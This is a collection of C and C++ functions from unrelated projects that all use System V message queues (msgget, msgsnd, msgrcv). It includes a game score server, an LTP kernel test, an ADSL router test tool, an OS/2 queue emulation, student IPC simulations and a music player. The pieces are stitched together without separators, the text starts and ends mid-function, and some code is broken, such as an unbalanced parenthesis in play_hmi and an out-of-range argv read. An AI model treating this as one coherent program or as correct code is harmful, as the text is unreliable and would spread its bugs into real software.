Reponse.ok = 0; switch(Requete.requete) { case LOGIN : Trace("Connection Client : pid=%ld login=%s pseudo=%s",Requete.client,Requete.login,Requete.pseudo); if (ajouteClient(Requete.client,Requete.login,Requete.pseudo) == 0) Reponse.ok = 1; else Reponse.ok = 0; break; case SCORE : Trace("Reception Score : pid=%ld score=%d",Requete.client,Requete.score); if (Requete.score > TopScore.score) { // Nouveau TopScore pthread_mutex_lock(&mutexConnections); if ((pC = estConnecte(Requete.client)) != NULL) { Trace("Nouveau Top Score : pid=%ld login=%s pseudo=%s score=%d",Requete.client,pC->login,pC->pseudo,Requete.score); TopScore.score = Requete.score; strcpy(TopScore.login,pC->login); strcpy(TopScore.pseudo,pC->pseudo); if(SaveFichierTopScore(NOM_FICHIER_TOPSCORE,&TopScore) < 0) SortieErreur("Erreur de sauvegarde du fichier Top Score",1); memcpy(&(pShm->TopScore),&TopScore,sizeof(TOPSCORE)); Reponse.topScoreBattu = 1; } pthread_mutex_unlock(&mutexConnections); EnvoiSignal(SIGQUIT); } else Reponse.topScoreBattu = 0; Reponse.ok = 1; break; case LOGOUT : Trace("Deconnection Client : pid=%ld",Requete.client); fflush(stdout); if (supprimeClient(Requete.client) == 0) Reponse.ok = 1; else Reponse.ok = 0; break; default : break; } EnvoiSignal(SIGHUP); Reponse.type = Requete.client; if (msgsnd(idQ,&Reponse,sizeof(REPONSE)-sizeof(long),0) == -1) SortieErreur("Erreur de msgsnd",1); } }
int main(int ac, char **av) { int lc; const char *msg; pid_t c_pid; int status, e_code; if ((msg = parse_opts(ac, av, NULL, NULL)) != NULL) tst_brkm(TBROK, NULL, "OPTION PARSING ERROR - %s", msg); #ifdef UCLINUX #define PIPE_NAME "msgsnd06" maybe_run_child(&do_child, "d", &msg_q_1); #endif setup(); /* global setup */ if (sync_pipe_create(sync_pipes, PIPE_NAME) == -1) tst_brkm(TBROK, cleanup, "sync_pipe_create failed"); /* The following loop checks looping state if -i option given */ for (lc = 0; TEST_LOOPING(lc); lc++) { /* reset tst_count in case we are looping */ tst_count = 0; msgkey = getipckey(); /* create a message queue with read/write permission */ if ((msg_q_1 = msgget(msgkey, IPC_CREAT | IPC_EXCL | MSG_RW)) == -1) { tst_brkm(TBROK, cleanup, "Can't create message queue"); } /* initialize the message buffer */ init_buf(&msg_buf, MSGTYPE, MSGSIZE); /* write messages to the queue until it is full */ while (msgsnd(msg_q_1, &msg_buf, MSGSIZE, IPC_NOWAIT) != -1) { msg_buf.mtype += 1; } /* * fork a child that will attempt to write a message * to the queue without IPC_NOWAIT */ if ((c_pid = FORK_OR_VFORK()) == -1) { tst_brkm(TBROK, cleanup, "could not fork"); } if (c_pid == 0) { /* child */ #ifdef UCLINUX if (self_exec(av[0], "d", msg_q_1) < 0) { tst_brkm(TBROK, cleanup, "could not self_exec"); } #else do_child(); #endif } else { /* parent */ if (sync_pipe_wait(sync_pipes) == -1) tst_brkm(TBROK, cleanup, "sync_pipe_wait failed"); if (sync_pipe_close(sync_pipes, PIPE_NAME) == -1) tst_brkm(TBROK, cleanup, "sync_pipe_close failed"); /* After son has been created, give it a chance to execute the * msgsnd command before we continue. Without this sleep, on SMP machine * the father rm_queue could be executed before the son msgsnd. */ sleep(2); /* remove the queue */ rm_queue(msg_q_1); /* wait for the child to finish */ wait(&status); /* make sure the child returned a good exit status */ e_code = status >> 8; if (e_code != 0) { tst_resm(TFAIL, "Failures reported above"); } } } cleanup(); tst_exit(); }
void adsl_ate(int argc, char* argv[]) { char buf[32]; msgbuf send_buf; msgbuf receive_buf; int infolen; FILE* fp; unsigned short* pWord; int* pInt; if (argc < 2) return; if (strcmp(argv[1],"waitadsl") == 0) { int AdslReady = 0; int WaitAdslCnt; // ask auto_det to quit nvram_set("dsltmp_adslatequit","1"); for (WaitAdslCnt = 0; WaitAdslCnt<60; WaitAdslCnt++) { strcpy(buf,nvram_safe_get("dsltmp_tcbootup")); if (!strcmp(buf,"1")) { AdslReady = 1; break; } #ifndef WIN32 usleep(1000*1000*1); #endif printf("%d\n",WaitAdslCnt); } if (AdslReady) printf("ADSL OK\n"); else printf("ADSL FAIL\n"); return; } // those old mechanism should be abandoned #if 0 if (strcmp(argv[1],"makeretfile") == 0) { FILE* fpQuit; fpQuit = fopen("/tmp/cmdret.txt","wb"); fputs("cmdret.txt",fpQuit); fclose(fpQuit); return; } if (strcmp(argv[1],"waitcmdret") == 0) { int RetReady = 0; int WaitCnt; for (WaitCnt = 0; WaitCnt<60; WaitCnt++) { FILE* fp; fp = fopen("/tmp/cmdret.txt","rb"); if (fp != NULL) { RetReady = 1; fclose(fp); break; } #ifndef WIN32 usleep(1000*1000*1); #endif printf("%d\n",WaitCnt); } if (RetReady) printf("CMDRET OK\n"); else printf("CMDRET FAIL\n"); return; } if (strcmp(argv[1],"makeretfile2") == 0) { FILE* fpQuit; fpQuit = fopen("/tmp/cmdret2.txt","wb"); fputs("cmdret2.txt",fpQuit); fclose(fpQuit); return; } if (strcmp(argv[1],"waitcmdret2") == 0) { int RetReady = 0; int WaitCnt; for (WaitCnt = 0; WaitCnt<60; WaitCnt++) { FILE* fp; fp = fopen("/tmp/cmdret2.txt","rb"); if (fp != NULL) { RetReady = 1; fclose(fp); break; } #ifndef WIN32 usleep(1000*1000*1); #endif //printf("%d\n",WaitCnt); } if (RetReady) printf("CMDRET2 OK\n"); else printf("CMDRET2 FAIL\n"); return; } #endif strcpy(buf,nvram_safe_get("dsltmp_tc_resp_to_d")); m_msqid_to_d=atoi(buf); #ifndef WIN32 if ((m_msqid_from_d=msgget(IPC_PRIVATE,0700))<0) { printf("msgget err\n"); return; } else { myprintf("msgget ok\n"); } #endif myprintf("MSQ_to_daemon : %d\n",m_msqid_to_d); myprintf("MSQ_from_daemon : %d\n",m_msqid_from_d); #ifndef WIN32 if(switch_init() < 0) { myprintf("err switch init\n"); goto delete_msgq_and_quit; } #endif send_buf.mtype=IPC_CLIENT_MSG_Q_ID; pInt = (int*)send_buf.mtext; *pInt = m_msqid_from_d; if(msgsnd(m_msqid_to_d,&send_buf,MAX_IPC_MSG_BUF,0)<0) { printf("msgsnd fail (IPC_CLIENT_MSG_Q_ID)\n"); goto delete_msgq_and_quit; } else { myprintf("msgsnd ok (IPC_CLIENT_MSG_Q_ID)\n"); } send_buf.mtype=IPC_START_AUTO_DET; strcpy(send_buf.mtext,"startdet"); if(msgsnd(m_msqid_to_d,&send_buf,MAX_IPC_MSG_BUF,0)<0) { printf("msgsnd fail (IPC_START_AUTO_DET)\n"); goto delete_msgq_and_quit; } else { myprintf("msgsnd ok (IPC_START_AUTO_DET)\n"); } // wait daemon response while (1) { if((infolen=msgrcv(m_msqid_from_d,&receive_buf,MAX_IPC_MSG_BUF,0,0))<0) { // WIN32: uninit warning is ok if (errno == EINTR) { continue; } else { printf("msgrcv err %d\n",errno); break; } } else { break; } } #ifndef WIN32 if (strcmp(argv[1],"bridgemode") == 0) { // tell driver that we want bridge mode switch_bridge_mode(); // delete iptv interfaces #if DSL_N55U == 1 system("ifconfig eth2.1.1 down"); system("ifconfig eth2.1.2 down"); system("ifconfig eth2.1.3 down"); system("ifconfig eth2.1.4 down"); system("ifconfig eth2.1.5 down"); system("ifconfig eth2.1.6 down"); system("ifconfig eth2.1.7 down"); system("ifconfig eth2.1.8 down"); // close wifi system("ifconfig ra0 down"); system("ifconfig rai0 down"); // reset switch IC and link all port together // 8 = change switich ic VLAN // 100 = reset and enable adsl bridge system("8367r 8 100"); #else #error "new model" #endif system("brctl show"); goto delete_msgq_and_quit; } #endif if (strcmp(argv[1],"show") == 0) { myprintf("IPC_ATE_ADSL_SHOW\n"); send_buf.mtype=IPC_ATE_ADSL_SHOW; strcpy(send_buf.mtext,"ateshow"); myprintf("msg :%s\n",send_buf.mtext); } else if (strcmp(argv[1],"quitdrv") == 0) { myprintf("IPC_ATE_ADSL_QUIT_DRV\n"); send_buf.mtype=IPC_ATE_ADSL_QUIT_DRV; strcpy(send_buf.mtext,"atequitdrv"); myprintf("msg :%s\n",send_buf.mtext); } else if (strcmp(argv[1],"disppvc") == 0) { myprintf("IPC_ATE_ADSL_DISP_PVC\n"); send_buf.mtype=IPC_ATE_ADSL_DISP_PVC; strcpy(send_buf.mtext,"atedisppvc"); myprintf("msg :%s\n",send_buf.mtext); } else if (strcmp(argv[1],"link") == 0) { myprintf("IPC_LINK_STATE\n"); send_buf.mtype=IPC_LINK_STATE; strcpy(send_buf.mtext,"linksts"); myprintf("msg :%s\n",send_buf.mtext); } else if (strcmp(argv[1],"addpvc") == 0) { int vpi,vci,encap,mode; vpi = atoi(argv[2]); vci = atoi(argv[3]); encap = atoi(argv[4]); mode = atoi(argv[5]); myprintf("IPC_ADD_PVC\n"); send_buf.mtype=IPC_ADD_PVC; pWord = (unsigned short*)send_buf.mtext; *pWord++ = 0; // idx (0-7) *pWord++ = 1; // always equal to idx+1 *pWord++ = vpi; // vpi *pWord++ = vci; // vci *pWord++ = encap; // encap *pWord++ = mode; // mode myprintf("msg :%s\n","addpvc"); } else if (strcmp(argv[1],"delallpvc") == 0) { myprintf("IPC_DEL_ALL_PVC\n"); send_buf.mtype=IPC_DEL_ALL_PVC; strcpy(send_buf.mtext,"delall"); myprintf("msg :%s\n",send_buf.mtext); } else if (strcmp(argv[1],"setadslmode") == 0) { int mode,type; mode = atoi(argv[2]); type = atoi(argv[3]); myprintf("IPC_ATE_SET_ADSL_MODE\n"); send_buf.mtype=IPC_ATE_SET_ADSL_MODE; pWord = (unsigned short*)send_buf.mtext; *pWord++ = mode; *pWord++ = type; myprintf("msg :%s\n",send_buf.mtext); } else { printf("error input\n"); goto delete_msgq_and_quit; } if(msgsnd(m_msqid_to_d,&send_buf,MAX_IPC_MSG_BUF,0)<0) { printf("msgsnd fail\n"); goto delete_msgq_and_quit; } else { myprintf("msgsnd ok\n"); while (1) { if((infolen=msgrcv(m_msqid_from_d,&receive_buf,MAX_IPC_MSG_BUF,0,0))<0) { // WIN32: uninit warning is ok if (errno == EINTR) { continue; } else { printf("msgrcv err %d\n",errno); break; } } else { //printf("%d",receive_buf.mtype); if (IPC_ATE_ADSL_SHOW == receive_buf.mtype || IPC_ATE_ADSL_DISP_PVC == receive_buf.mtype) { FILE* fpLog; char bufLog[256]; fpLog = fopen("/tmp/adsl/adslate.log","rb"); if (fpLog != NULL) { while(1) { char* ret; ret = fgets(bufLog,sizeof(bufLog),fpLog); // eof or something wrong if (ret == NULL) break; printf(bufLog); //printf("%d\n",ret); } fclose(fpLog); } } printf(receive_buf.mtext); printf("\n"); break; } } } delete_msgq_and_quit: #ifndef WIN32 switch_fini(); #endif ate_delete_msg_q(); }
APIRET APIENTRY DosOpenQueue(PPID ppid, PHQUEUE phq, PCSZ pszName) { SAVEENV; PSZ pszNewName; key_t mykey = 0; PMQ pmq; /* allocate memory for the queue struct */ pmq = malloc(sizeof(MQ)); if (pmq == NULL) { RESTOREENV_RETURN(ERROR_QUE_NO_MEMORY); } pmq->hev = NULLHANDLE; /* named or unnamed queue? */ if (pszName == NULL) { free(pmq); RESTOREENV_RETURN(ERROR_QUE_PROC_NO_ACCESS); } /* this is a named queue */ pszNewName = alloca(strlen(pszName) + 1); if (pszNewName == NULL) { free(pmq); RESTOREENV_RETURN(ERROR_QUE_NO_MEMORY); } strcpy(pszNewName, pszName); DosNameConversion(pszNewName, "\\", ".", TRUE); if (*pszNewName == '.') { *pszNewName = '/'; } /* get a key for the queue */ mykey = DosFtok(pszNewName); if (mykey == -1) { free(pmq); RESTOREENV_RETURN(ERROR_INVALID_PARAMETER); } /* get the queue */ pmq->qid = msgget(mykey, S_IRWXU | S_IRWXG); if (pmq->qid == -1) { switch (errno) { case ENOMEM: case ENOSPC: free(pmq); RESTOREENV_RETURN(ERROR_QUE_NO_MEMORY); case ENOENT: free(pmq); RESTOREENV_RETURN(ERROR_QUE_NAME_NOT_EXIST); default: free(pmq); RESTOREENV_RETURN(ERROR_QUE_PROC_NO_ACCESS); } } pmq->hev = NULLHANDLE; pmq->creator = FALSE; pmq->queueName[0] = '\0'; *phq = (HQUEUE)pmq; *ppid = 0; RESTOREENV_RETURN(NO_ERROR); }
int main(int argc, char **argv) { if(argc < MIN_ARGS || argc > MAX_ARGS) { std::cout<<"Usage:\n./master nBuffers nWorkers " <<"sleepMin sleepMax [random seed] [-lock or -nolock]" <<std::endl; return -1; //Too many or too few command line arguments } int nBuffers; int nWorkers; float sleepMin; float sleepMax; int randSeed; bool lock = false; int semID; int thing1[2]; // pipe 1 file descriptor int thing2[2]; // pipe 2 file descriptor pid_t pid; //pid for forked sort process float random; // random float value, Ahhh! char buffer[80]; // buffer for write/read /*******************Variable Initialization*******************/ nBuffers = atoi(argv[1]); nWorkers = atoi(argv[2]); sleepMin = atof(argv[3]); sleepMax = atof(argv[4]); float arr2[nWorkers]; // holder of rand ID's in sorted order if(argc >= 5) randSeed = atoi(argv[5]); else randSeed = -1; if(argc == 7) if(strcmp(argv[6],"-lock") == 0) { lock = true; //std::cout<<"\nLocked"<<std::endl; } else if(strcmp(argv[6],"-nolock") == 0) { lock = false; //std::cout<<"\nUnlocked"<<std::endl; } else { lock = false; //std::cout<<"\nDefault: Unlocked"<<std::endl; } /*******************Variable Initialization*******************/ if(nBuffers < 0 || sleepMin < 0 || sleepMax < 0 || sleepMin > sleepMax || nBuffers > 32 || nWorkers > nBuffers) //Data check return -1; for(int i = 1; i < 10; i++) { if((i > 1) && (i != nBuffers) && (nBuffers % i == 0)) return -1; //nBuffers is not a positive prime < 32 } /********Sanity Check********** std::cout<<"\nBuffers: "<<nBuffers<<std::endl; std::cout<<"Workers: "<<nWorkers<<std::endl; std::cout<<"SleepMin: "<<sleepMin<<std::endl; std::cout<<"SleepMax: "<<sleepMax<<std::endl; std::cout<<"Rand Seed: "<<randSeed<<std::endl; std::cout<<"Locked: "<<lock<<std::endl; *******************************/ //say hello std::cout<<"\nShane Lopez, slopez23" <<"\n\nIPC\n\nSimulating with "<<nBuffers<<" Buffers and " <<nWorkers<<" Workers"<<std::endl; if(lock) std::cout<<"\n<Semaphores Engaged>"<<std::endl; else std::cout<<"\n<Semaphores Not Engaged>"<<std::endl; std::cout<<"-----------------------------------------------"<<std::endl; if(pipe(thing1) < 0 || pipe(thing2) < 0) { // Create Pipes std::cerr << "Piping Error" << std::endl; return -1; } if((pid = fork()) < 0) { // Fork std::cerr << "Forking Error" << std::endl; return -1; } else if(pid == 0) { // Child close(thing1[WRITE]); // close unused pipe ends close(thing2[READ]); dup2(thing1[READ],READ); // dup2 appropriate ends dup2(thing2[WRITE],WRITE); execlp("sort","sort","-nr",NULL); // execute sort } else { // Parent close(thing1[READ]); // close unused pipe ends close(thing2[WRITE]); for(int j = 0; j < nWorkers; j++) { random = randF(sleepMin,sleepMax,randSeed); //std::cout<<"Random "<< j <<": "<<random<<std::endl; if(j == 0) sprintf(buffer,"%f\n",random); else sprintf((buffer+strlen(buffer)),"%f\n",random); }//Fills Buffer write(thing1[WRITE],buffer,strlen(buffer)); /*std::cout<<"\nRandom Floats: \n";//<<buffer<<std::endl; for(int h = 0; h < strlen("Random Floats: "); h++) std::cout<<"-"; // Fancy std::cout<<std::endl; // Take it down a notch std::cout<<buffer<<std::endl;*/ close(thing1[WRITE]); // Close pipe end after use read(thing2[READ],buffer,strlen(buffer)); close(thing2[READ]); // Close pipe end after use char *p; p = strtok(buffer,"\n"); // tok'n on that str //std::cout<<p<<std::endl; // debuggery /*std::cout<<"\n{Sorted} Random Floats: \n"; for(int h = 0; h < strlen("{Sorted} Random Floats: "); h++) std::cout<<"-"; // Fancy std::cout<<std::endl;*/ for(int j = 0; j < nWorkers; j++) { //prints and fills array arr2[j] = atof(p); p = strtok(NULL,"\n"); //std::cout<</*std::setprecision(4)<<*/arr2[j]<<std::endl; } //std::cout<<"\n"<<std::endl; } /**************************Begin Msg Q*****************************/ int msgQID; msg sendMsg; msg recMsg; if((msgQID = msgget(IPC_PRIVATE,IPC_CREAT | 0600)) <= 0) {//Create msg Q perror("msgget"); exit(-1); } /**************************Fork Exec*******************************/ pid_t IDs[nWorkers]; struct rusage sys_res; //struct msqid_ds MSG; //struct shmid_ds SHM; int shmID; shmID = shmget(IPC_PRIVATE,sizeof(int)*nBuffers,0600 | IPC_CREAT); int *shm_ptr = (int*)shmat(shmID,NULL,0); //create shm for(int p = 0; p < nBuffers; p++) { shm_ptr[p] = 0; } shmdt(shm_ptr); if(lock) {//create semaphores semID = semget(IPC_PRIVATE,nBuffers,IPC_CREAT|0600); if(semID < 0) { perror("semget"); exit(-1); } union semun s_val; s_val.val = 1; for(int t = 0; t < nBuffers; t++) { if(semctl(semID,t,SETVAL,s_val) < 0) { perror("semctl"); exit(-1); } } } //generate pids for each worker for(int i = 0; i < nWorkers; i++) { pid_t pid = fork(); IDs[i] = pid; if(pid < 0) { perror("fork"); exit(-1); } else if(pid == 0) { // execute worker char a[10]; char b[10]; char c[10]; char d[10]; char e[10]; //pass arguments as char buffers sprintf(a,"%d\n",(i+1)); sprintf(b,"%d\n",nBuffers); sprintf(c,"%f\n",(arr2[i])); sprintf(d,"%d\n",msgQID); sprintf(e,"%d\n",shmID); if(lock) { char f[10]; sprintf(f,"%d\n",semID); execlp("./worker","worker",a,b,c,d,e,f,NULL); } else execlp("./worker","worker",a,b,c,d,e,NULL); } } //implicitly in parent int children = nWorkers; int r_err = 0; int w_err = 0; int g = 0; int SZ = (sizeof(struct msg) - sizeof(long int)); msg* recm = (msg*)malloc(sizeof(msg)); //////////////////// while(children > 0) { if(msgrcv(msgQID,recm,30,-4,0) < 0) {//catch messages from Q perror("msgrcv"); if(lock) if(semctl(semID,0,IPC_RMID)) { perror("semctl"); exit(-1); } if(shmctl(shmID,IPC_RMID,0) < 0) { perror("shmctl"); exit(-1); } exit(-1); } //std::cout<<recm->id<<std::endl; switch(recm->type) { //detect message type and act /*case 4: std::cout<<"\n[Master]--Worker "<<recm->id <<" reported Write error in buffer " <<recm->bufC<<"- before sleep: " <<recm->before<<" after sleep: " <<recm->after<<std::endl; //w_err++; break;*/ case 3: std::cout<<"\n[Master]--{Worker "<<recm->id <<"} reported Read error in buffer " <<recm->bufC<<"- before sleep: " <<recm->before<<" after sleep: " <<recm->after<<std::endl; r_err++; //wait4(IDs[((recm->id)-1)],NULL,0,&sys_res); break; case 2: std::cout<<"\n[Master]--{Worker "<<recm->id <<"} says bye!"<<std::endl; wait4(IDs[((recm->id)-1)],NULL,0,&sys_res); children--; break; case 1: std::cout<<"\n[Master]--{Worker "<<recm->id <<"} says hello!"<<std::endl; std::cout<<"Sleep time for worker "<<recm->id <<": "<<recm->stime<<std::endl; break; default: std::cout<<"\n[Master]--<Unspecified msg type>" <<std::endl; break; } } std::cout<<"\n"<<std::endl; shm_ptr = (int*)shmat(shmID,NULL,0); int desired = (int)(pow(2,nWorkers)-1); //int w_err = 0; //report buffer contents std::cout<<"\n[Master]--<Reporting Buffer Contents>\n"<<std::endl; for(int p = 0; p < nBuffers; p++) { if(p > 9) std::cout<<"Buffer "<<p<<": "<<shm_ptr[p]<<std::endl; else std::cout<<"Buffer "<<p<<": "<<shm_ptr[p]<<std::endl; if(shm_ptr[p] != desired) w_err++; } std::cout<<std::endl; int *badB = new int[w_err]; int counter = 0; //save indices of bad buffers for(int p = 0; p < nBuffers; p++) { if(shm_ptr[p] != desired) { badB[counter] = p; counter++; if(counter == w_err) break; } } int examine; int sieve; int b; int *b_bits = new int[32]; int c = 0; int f = 0; int werr = 0; for(int r = 0; r < 32; r++) { b_bits[r] = -1; } //Report errors for(int g = 0; g < w_err; g++) { b = badB[g]; examine = shm_ptr[b]; ///////////////////////////////////////////////////// if((badB[g]) > 9) std::cout<<"\tError in buffer "<<b<<": "<<examine<<" != " <<desired<<std::endl; else std::cout<<"\tError in buffer "<<b<<": "<<examine<<" != " <<desired<<std::endl; ///////////////////////////////////////////////////// //Examine bits sieve = (examine ^ desired);//sift the bad bits for(int v = 0; v < 32; v++) { if((sieve & (1 << v)) >= 1) { b_bits[c] = v; c++; } } //w_err += c; //werr+=c; std::cout<<"\t\tBad Bits: "; while(f < c) { if(f < (c-1)) std::cout<<"bit "<<b_bits[f]<<", "; else std::cout<<"bit "<<b_bits[f]<<" "; werr++; f++; } std::cout<<"\n"<<std::endl; } std::cout<<"\n"<<r_err<<" Read Errors "<<werr <<" Write Errors"<<std::endl; shmdt(shm_ptr); if(lock)//remove sems if(semctl(semID,0,IPC_RMID)) { perror("semctl"); exit(-1); } if(shmctl(shmID,IPC_RMID,0) < 0) {//remove shared memory perror("shmctl"); exit(-1); } if(msgctl(msgQID,IPC_RMID,0) < 0) { //close message Q perror("msgctl"); exit(-1); } std::cout<<"-----------------------------------------------"<<std::endl; exit(0);//all done! }
int main(int argc,char* argv[]) { int msgid, tailleMsg,nbVehicules=0; tMessage req, rep, rep2; char carte[20]; tailleMsg = sizeof(tMessage) - sizeof(long); if (argc-1 != 0) { fprintf(stderr,"Appel %s <desc MSG>",argv[0]); exit(1); }; if ((msgid = msgget(cle, 0)) == -1) // creation de l'identifiant erreur("Pb msgget dans COMPTEUR"); while(1){ /* construction message req */ req.type = 4; /* reception message rep */ msgrcv(msgid, &rep, tailleMsg, 1, 0); //reception badge /* ... */ rep2.type=2; rep2.numBadge=rep.numBadge; /* traitement message */ if (rep.numBadge==1){ printf("*** Message received from BADGE1.\n"); sleep(3); nbVehicules++; printf("*** Sending ACK to BADGE1.\n"); sleep(3); msgsnd(msgid, &rep2, tailleMsg, 0); printf("Voiture %s entree.\n",rep.num); } else { printf("*** Message received from BADGE2.\n"); sleep(3); if (nbVehicules > 0){ nbVehicules--; printf("Voiture %s sortie\n",rep.num); } if (nbVehicules == 0) { printf("Aucune voiture dans le parking\n"); } printf("*** Sending ACK to BADGE1.\n"); sleep(3); msgsnd(msgid, &rep2, tailleMsg, 0); } req.nbV=nbVehicules; /* envoi message req */ printf("*** Sending message to LCD.\n"); sleep(3); msgsnd(msgid, &req, tailleMsg, 0); sleep(10); system("clear"); /* ... */ fflush(stdout); } exit(0); }
void Initialisation () { /** Création des clefs pour les IPC **/ key_t cleBalEntreeBPP = ftok(CHEMIN,1); key_t cleBalEntreeBPA = ftok(CHEMIN,2); key_t cleBalEntreeGB = ftok(CHEMIN,3); key_t cleBalSortie = ftok(CHEMIN,4); key_t cleMPNbPlace = ftok(CHEMIN,5); key_t cleMPEtat = ftok(CHEMIN,6); key_t cleMPRequete = ftok(CHEMIN,7); key_t cleSem = ftok(CHEMIN,8); /** Fin création des clefs pour les IPC **/ /** Création des BaL **/ if ((baLEntreeBPP = msgget(cleBalEntreeBPP, 0666|IPC_CREAT)) == -1) { #ifdef MAP AFFICHER(MESSAGE,"Erreur pour l'entrée BPP (BAL)"); #endif } if ((baLEntreeBPA = msgget(cleBalEntreeBPA, 0666|IPC_CREAT)) == -1) { #ifdef MAP AFFICHER(MESSAGE,"Erreur pour l'entrée BPA (BAL)"); #endif } if ((baLEntreeGB = msgget(cleBalEntreeGB, 0666|IPC_CREAT)) == -1) { #ifdef MAP AFFICHER(MESSAGE,"Erreur pour l'entrée GB (BAL)"); #endif } if ((baLSortie = msgget(cleBalSortie, 0666|IPC_CREAT)) == -1) { #ifdef MAP AFFICHER(MESSAGE,"Erreur pour l'entrée Sortie (BAL)"); #endif } /** Fin création des BaL **/ /** Création des MP **/ //Initialisation de la memoire partagee NbPlaceOccupees mpNbPlace = shmget(cleMPNbPlace,sizeof(NbPlaceOccupees), 0666|IPC_CREAT); if ( mpNbPlace == -1) { #ifdef MAP AFFICHER(MESSAGE,"Erreur pour MP nbPlace"); #endif } else { NbPlaceOccupees *nbo = (NbPlaceOccupees *) shmat(mpNbPlace, NULL, 0); nbo->nb = 0; shmdt(nbo); } //Initialisation de la memoire partagee Etat if ((mpEtat = shmget(cleMPEtat,sizeof(Etat), 0666|IPC_CREAT)) == -1) { #ifdef MAP AFFICHER(MESSAGE,"Erreur pour MP Etat"); #endif } else { Etat *et = (Etat *) shmat(mpEtat, NULL, 0); for(unsigned int i=0; i < NB_PLACES ; i++) { et->places[i] = {AUCUN, 0,0}; } shmdt(et); } //Initialisation de la memoire partagee Requete mpRequete = shmget(cleMPRequete,sizeof(Requete), 0666|IPC_CREAT); if ( mpRequete == -1) { #ifdef MAP AFFICHER(MESSAGE,"Erreur pour MP Requete"); #endif } else { Requete *req = (Requete *) shmat(mpRequete, NULL, 0); for(unsigned int i=0; i < NB_BARRIERES_ENTREE; i++) { req->requetes[i] = {AUCUN, 0,0}; } shmdt(req); } /** Fin création des MP **/ /** Création des sémaphores **/ if ((semGene = semget(cleSem,NB_SEM,0666|IPC_CREAT)) == -1) { #ifdef MAP AFFICHER(MESSAGE,"Erreur de création de sémaphore"); #endif } else { semctl(semGene,SynchroPorteBPPROF,SETVAL,0); semctl(semGene,SynchroPorteBPAUTRE,SETVAL,0); semctl(semGene,SynchroPorteGB,SETVAL,0); semctl(semGene,MutexMPNbPlaces,SETVAL,1); semctl(semGene,MutexMPEtat,SETVAL,1); semctl(semGene,MutexMPRequetes,SETVAL,1); } /** Fin création des sémaphores **/ heure = ActiverHeure(); if ((clavier = fork()) == 0) { SimulationClavier( baLSortie, baLEntreeBPP, baLEntreeBPA, baLEntreeGB); } else if ((entreeBPP = fork()) == 0) { PorteEntree( baLEntreeBPP, semGene, mpNbPlace, mpEtat, mpRequete, PROF_BLAISE_PASCAL); } else if ((entreeBPA = fork()) == 0) { PorteEntree( baLEntreeBPA, semGene, mpNbPlace, mpEtat, mpRequete, AUTRE_BLAISE_PASCAL); } else if ((entreeGB = fork()) == 0) { PorteEntree( baLEntreeGB , semGene, mpNbPlace, mpEtat, mpRequete, ENTREE_GASTON_BERGER); } else if ((sortie = fork()) == 0) { PorteSortie(mpNbPlace, mpEtat, mpRequete, baLSortie, semGene); } }
rlMailbox::rlMailbox(const char *mbxname) { #ifdef RLUNIX FILE *fp; key_t key; status = OK; buffer = NULL; buffer_size = 0; name = new char[strlen(mbxname)+1]; strcpy(name,mbxname); // create file fp = fopen(name,"r"); if(fp == NULL) { fp = fopen(name,"w"); if(fp == NULL) { int ret; char buf[1024]; sprintf(buf,"could not write mailbox=%s\n",mbxname); ret = ::write(1,buf,strlen(buf)); if(ret < 0) exit(-1); sprintf(buf,"you have to run this program as root !!!\n"); ret = ::write(1,buf,strlen(buf)); if(ret < 0) exit(-1); exit(-1); } fchmod(fileno(fp),0x0fff); if(fp == NULL) { status=COULD_NOT_CREATE_MAILBOX; return; } } fclose(fp); // getkey // old stuff, without suggestions from Stefan Lievens // key = ftok(name, 'R'); key = ftok(name, 'b'); if(key == ((key_t) (-1))) { status=COULD_NOT_GET_KEY; return; } // get chanid // old stuff, without suggestions from Stefan Lievens // chanid = msgget(key,IPC_CREAT); chanid = msgget(key, 0600 | IPC_CREAT); if(chanid == -1) { status=COULD_NOT_GET_CHAN_ID; return; } #endif #ifdef __VMS long ret; short chan_id; struct dsc$descriptor_s dmbxname; chanid = -1; status = OK; name = new char[strlen(mbxname)+1]; strcpy(name,mbxname); dmbxname.dsc$w_length = strlen(name); dmbxname.dsc$a_pointer = name; dmbxname.dsc$b_dtype = DSC$K_DTYPE_T; dmbxname.dsc$b_class = DSC$K_CLASS_S; ret = sys$crembx((char)1, // 0 temp 1 permanence flag &chan_id, // i/o channel MAX_MAILBOX, // max msg length MAX_MAILBOX*4, // max buffer size (long)0, (long)0, &dmbxname); // mailbox name if(ret == SS$_NORMAL) { chanid = chan_id; return; } else { status = COULD_NOT_CREATE_MAILBOX; return; } #endif #ifdef RLWIN32 chanid = -1; status = OK; name = new char[strlen(mbxname)+1]; strcpy(name,mbxname); #endif }
void play_hmi (void * arg) { int i; int pos = 0x308; int n_chunks = 0; int low_dtime; int low_chunk; int csec; // pid_t loc_pid; int qid; int ipc_read = 0; int k=0; struct msgbuf *rcv; Track_info *t_info; //printf ("play_hmi\n");//######### stop = 0; ipc_read=0; // loc_pid=fork(); /* switch (loc_pid) { case 0: break; case -1: return -1; default: atexit(kill_ipc); return loc_pid; }*/ // signal(SIGTERM, my_quit); rcv=D2_ALLOC(sizeof(long) + 16); rcv->mType=1; rcv->mtext[0]='0'; sleep(2); qid=msgget ((key_t) ('l'<<24) | ('d'<<16) | ('e'<<8) | 's', 0660); if(qid == -1) { return; } do { ipc_read=do_ipc(qid,rcv,0); } while(rcv->mtext[0] != 'p'); stop=0; rcv->mtext[0] = '0'; seq_init(); n_chunks=data[0x30]; t_info = D2_ALLOC(sizeof(Track_info)*n_chunks); while(1) { for(i=0;i<n_chunks;i++) { t_info[i].info.position.vPosition = pos + 12; t_info[i].status = PLAYING; t_info[i].time = get_dtime(data,&t_info[i].info.position.vPosition); pos += (( (0xff & data[pos + 5]) << 8 ) + (0xff & data[pos + 4]); } SEQ_START_TIMER(); do { low_chunk = -1; k++; i=0; do { if (t_info[i].status == PLAYING) low_chunk = i; i++; } while((low_chunk <=0) && (i<n_chunks); if (low_chunk == -1) break; low_dtime = t_info[low_chunk].time; for(i=1;i<n_chunks;i++) { if ((t_info[i].time < low_dtime) && (t_info[i].status == PLAYING)) { low_dtime = t_info[i].time; low_chunk = i; } } //if (low_dtime < 0) //printf("Serious warning: dTime negative!!!!!!\n"); csec = 0.86 * low_dtime; //flush sequencer buffer after 20 events if (k == 20) { ioctl(seqfd, SNDCTL_SEQ_SYNC); k = 0; } SEQ_WAIT_TIME(csec); t_info[low_chunk].status = do_track_event(data,&t_info[low_chunk].info.position.vPosition); if (t_info[low_chunk].status == 3) { //printf("Error playing data in chunk %d\n",low_chunk); t_info[low_chunk].status = STOPPED; } if (t_info[low_chunk].status == PLAYING) t_info[low_chunk].time += 